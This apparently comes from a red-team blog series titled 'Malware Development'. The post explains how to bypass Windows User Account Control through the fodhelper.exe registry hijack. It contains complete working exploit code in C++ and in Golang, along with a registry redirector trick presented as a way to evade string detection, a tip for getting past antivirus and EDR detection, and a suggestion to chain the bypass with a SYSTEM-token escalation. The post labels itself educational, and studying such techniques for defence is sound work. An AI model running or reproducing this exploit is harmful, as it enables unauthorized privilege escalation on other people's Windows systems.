Home Malware Development 14 - UAC bypass privilege escalation (Golang)
Post
Cancel

Malware Development 14 - UAC bypass privilege escalation (Golang)

Introduction

Hi hackers!

In this posts we’ll see how threat actors can approach default Windows misconfigurations to elevate from common user to Administrator privileges by bypassing UAC

Only for educational purposes

Explanation

First of all, what is UAC? User Account Control is a security feature implemented in various versions of Windows, starting with Windows Vista and continuing in subsequent versions such as Windows 7, 8, 8.1, and 10. The primary purpose of UAC is to improve security by preventing unauthorized changes to your system. UAC helps to mitigate potential risks by prompting users for their consent or credentials before allowing certain programs or tasks to make system-wide changes that could affect the computer’s security.

When an application or process attempts to perform actions that require administrative privileges, such as modifying system settings or installing software, UAC will prompt the user with a dialog box asking for confirmation or authentication. The user may need to enter an administrator password or simply confirm the action depending on their user account’s permissions.

Furthermore, our purpose as red teamers/pentesters is to bypass it but if the SysAdmin has secured and configured it to prompt for credentials, it would be absolutely impossible to bypass it so we approach that UAC doesn’t ask for credentials by default. If it’s well configured a screen like this should appear each time a privileged operation is goint to be done.


Now we know what’s UAC and how it works, let’s continue with the technical exploitation. However we’ll be using the well-known fodhelper.exe technique to achive UAC bypassing. fodhelper.exe is the official executable used by Windows to manage features in Windows settings. (C:\Windows\System32\fodhelper.exe). And why fodhelper.exe is used to elevate from Medium to High integrity? Because when it is executed, Windows doesn’t prompt the user with the UAC screen. That’s why we could edit some registry keys to achieve command execution with higher privs.

The main workflow would be something like this:

  1. Set “DelegateExecute” with command to execute to “Software\Classes\ms-settings\shell\open\command” registry key
  2. Start a fodhelper.exe process
  3. Given command is executed as High integrity without UAC prompt

An example of UAC bypass in C++ would be like this (code isn’t mine):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <windows.h>
#include <stdio.h>

int main() {
  HKEY hkey;
  DWORD d;

  const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
  const char* cmd = "cmd /c start C:\\Windows\\System32\\cmd.exe"; // default program
  const char* del = "";

  // attempt to open the key
  LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)settings, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
  printf(stat != ERROR_SUCCESS ? "failed to open or create reg key\n" : "successfully create reg key\n");

  // set the registry values
  stat = RegSetValueEx(hkey, "", 0, REG_SZ, (unsigned char*)cmd, strlen(cmd));
  printf(stat != ERROR_SUCCESS ? "failed to set reg value\n" : "successfully set reg value\n");

  stat = RegSetValueEx(hkey, "DelegateExecute", 0, REG_SZ, (unsigned char*)del, strlen(del));
  printf(stat != ERROR_SUCCESS ? "failed to set reg value: DelegateExecute\n" : "successfully set reg value: DelegateExecute\n");

  // close the key handle
  RegCloseKey(hkey);

  // start the fodhelper.exe program
  SHELLEXECUTEINFO sei = { sizeof(sei) };
  sei.lpVerb = "runas";
  sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
  sei.hwnd = NULL;
  sei.nShow = SW_NORMAL;

  if (!ShellExecuteEx(&sei)) {
    DWORD err = GetLastError();
    printf (err == ERROR_CANCELLED ? "the user refused to allow privileges elevation.\n" : "unexpected error! error code: %ld\n", err);
  } else {
    printf("successfully create process =^..^=\n");
  }

  return 0;
}

There’s also a technique that uses another registry key as a redirector (Programmatic Identifiers) so in this way we would evade some basic string detection. Now we will code a common fodhelper.exe UAC bypass but with this technique.

Code

And the code would be something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package main

import (
  "os"
  "fmt"
  "log"
  "time"
  "os/exec"
  "syscall"
  "math/rand"
  "golang.org/x/sys/windows/registry"
)

func RandomString(length int) (string) { // Return random string passing an integer (length)
  var seededRand *rand.Rand = rand.New(
  rand.NewSource(time.Now().UnixNano()))
  const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

  b := make([]byte, length)
  for i := range b {
    b[i] = charset[seededRand.Intn(len(charset))]
  }

  return string(b)
}

func main(){
  if len(os.Args) < 2 {
    fmt.Println("[!] Usage:",  os.Args[0])
    os.Exit(0)
  }

  program := os.Args[1]
  fmt.Println("[*] Program to launch:", program)
  fmt.Println("[*] Creating registry key...")

  rand_key_name := RandomString(5)
  fmt.Println("[*] Registry key: Software\\Classes\\" + rand_key_name + "\\shell\\open\\command")

  // Create first key with random value
  k, _, err := registry.CreateKey(registry.CURRENT_USER,
    "Software\\Classes\\" + rand_key_name + "\\shell\\open\\command", registry.ALL_ACCESS,
  )
  if err != nil {
    log.Fatal(err)
  }
  defer k.Close() // Close key
  defer registry.DeleteKey(registry.CURRENT_USER, "Software\\Classes\\" + rand_key_name + "\\shell\\open\\command")

  err = k.SetStringValue("DelegateExecute", "")
  if err != nil {
    log.Fatal(err)
  }

  err = k.SetStringValue("", program)
  if err != nil {
    log.Fatal(err)
  }

  // Create second key which redirects to the first one
  k2, _, err := registry.CreateKey(registry.CURRENT_USER,
    "Software\\Classes\\ms-settings\\CurVer", registry.ALL_ACCESS,
  )
  if err != nil {
    log.Fatal(err)
  }
  defer k2.Close() // Close key
  defer registry.DeleteKey(registry.CURRENT_USER, "Software\\Classes\\ms-settings\\CurVer")

  err = k2.SetStringValue("", rand_key_name)
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("[*] Executing fodhelper.exe")
  //time.Sleep(1000 * time.Millisecond)
  cmd := exec.Command("cmd.exe", "/C", "fodhelper.exe") // Run fodhelper
  cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
  err = cmd.Run()
  time.Sleep(500 * time.Millisecond)

  fmt.Println("[+] UAC bypass successed!")
}

As you can see we create two registry keys, the first one with a random value on it, then we set “DelegateExecute” to “” and “(default)” value to command we want to execute. And on the second registry key, we set the “(default)” value to the random value of the other key (i.e. dJsUy)

Demo

Let’s compile our code

1
GOARCH=amd64 GOOS=windows go build main.go

Then we transfer the .EXE to our testing machine and execute it

Yeah! It worked as expected and a high-privileged cmd appeared. Sometimes it also gets detected by AVs/EDRs but if you use “cmd /c start” before the command to execute, gets executed by the way.

Extra

You could perform one more step to go from MEDIUM –> Administrator –> SYSTEM

There are 6 different integrity levels and each one has more permissions than the previous:

  • Untrusted: processes that are logged on anonymously
  • Low: level used by default for interaction with the Internet. Some folders, such as the Temporary Internet Folder, are also assigned the Low integrity level by default. This integrity is very restricted, it cannot write to the registry and it’s limited from writing to most locations in the current user’s profile. (i.e. Internet Explorer or Microsoft Edge)
  • Medium: context that most objects will run in. Standart users also run on medium integrity.
  • High: Administrators are granted with this level, and ensures that they are capable of interacting with and modifying objects assigned Medium or Low integrity levels and even High levels.
  • System: this level is reserved for the system, the Windows kernel and core services. It protects these core functions from being affected or compromised even by Administrators. (i.e. services)
  • Installer: It’s a special case and is the highest of all integrity levels. Objects assigned the Installer integrity level are also able to uninstall all other objects.

Imagine you are a common user and you use the technique we’ve explained on this post but you also combine it with the technique from our 11th malware dev post, we would be able to execute a command as Admin with UAC bypass but the command we execute also gets SYSTEM token to directly run another command as SYSTEM (UAC bypass executes a getsystem executable which executes a command with highest privs)

Let’s see what happens if we combine UAC bypass with GetSystem implementation:

References

1
2
3
4
5
6
7
8
9
https://github.com/k4sth4/UAC-bypass
https://github.com/hfiref0x/UACME
https://github.com/0x9ef/golang-uacbypasser
https://github.com/rootm0s/WinPwnage
https://lolbas-project.github.io/#
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/integrity-levels
https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control
https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies
https://systemweakness.com/bypassing-uac-methods-and-tricks-a536f784cc46

Conclusion

There is a bunch of different UAC bypass techniques that even persist on every system startup so red teamers can gain access, for example, to a system by catching a reverse shell. I hope you’ve learned how UAC works to escalate privileges and how it can be combined.

Source code here

Go back to top

This post is licensed under CC BY 4.0 by the author.